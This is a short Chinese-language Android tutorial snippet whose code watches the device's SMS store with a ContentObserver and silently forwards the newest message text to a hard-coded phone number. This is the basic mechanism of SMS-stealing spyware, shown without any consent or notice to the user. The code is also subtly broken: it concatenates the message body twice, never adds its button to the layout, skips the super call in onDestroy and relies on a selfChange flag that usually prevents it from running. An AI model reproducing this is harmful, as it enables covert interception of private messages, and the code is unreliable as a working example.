Android(安卓)使用ContentObserver监听短信的变化，并发送信息给特定的手机号码

public class ObserverActivity extends Activity implements OnClickListener {    protected static final String TEL_NUMBER = "110";    private Button mBtnSend;    private Uri mSmsUri;    @Override    protected void onCreate(Bundle savedInstanceState) {        super.onCreate(savedInstanceState);        setContentView(R.layout.activity_main);        mBtnSend = new Button(this);        //添加监听        mBtnSend.setOnClickListener(this);        //初始化地址        mSmsUri = Uri.parse("content://sms/");    }    @Override    public void onClick(View v) {        if (v == mBtnSend) {//注册observer        getContentResolver().registerContentObserver(mSmsUri, true, observer);        }    }//初始化observer     ContentObserver observer = new ContentObserver(new Handler()) {        public void onChange(boolean selfChange) {        //如果变化了            if (selfChange) {                Cursor cursor = getContentResolver().query(mSmsUri, new String[] { "body", "date", "address", "type" },                        null, null, null);                        //读取最新的消息                cursor.moveToFirst();                String text = cursor.getString(cursor.getColumnIndex("body")) + "_"                        + cursor.getString(cursor.getColumnIndex("body"));                cursor.close();                //发送短信                SmsManager sm = SmsManager.getDefault();                sm.sendTextMessage(TEL_NUMBER, null, text, null, null);            }        };    };    @Override    protected void onDestroy() {        if (observer != null) {            getContentResolver().unregisterContentObserver(observer);            observer = null;        }    }}

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